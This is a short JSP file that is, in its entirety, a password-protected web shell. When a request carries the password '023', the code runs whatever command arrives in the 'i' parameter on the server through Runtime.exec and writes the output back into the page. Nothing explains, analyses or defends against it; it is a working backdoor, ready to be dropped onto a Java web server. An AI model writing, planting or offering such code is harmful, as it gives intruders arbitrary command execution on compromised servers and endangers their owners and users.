<%   if("023".equals(request.getParameter("pwd"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>
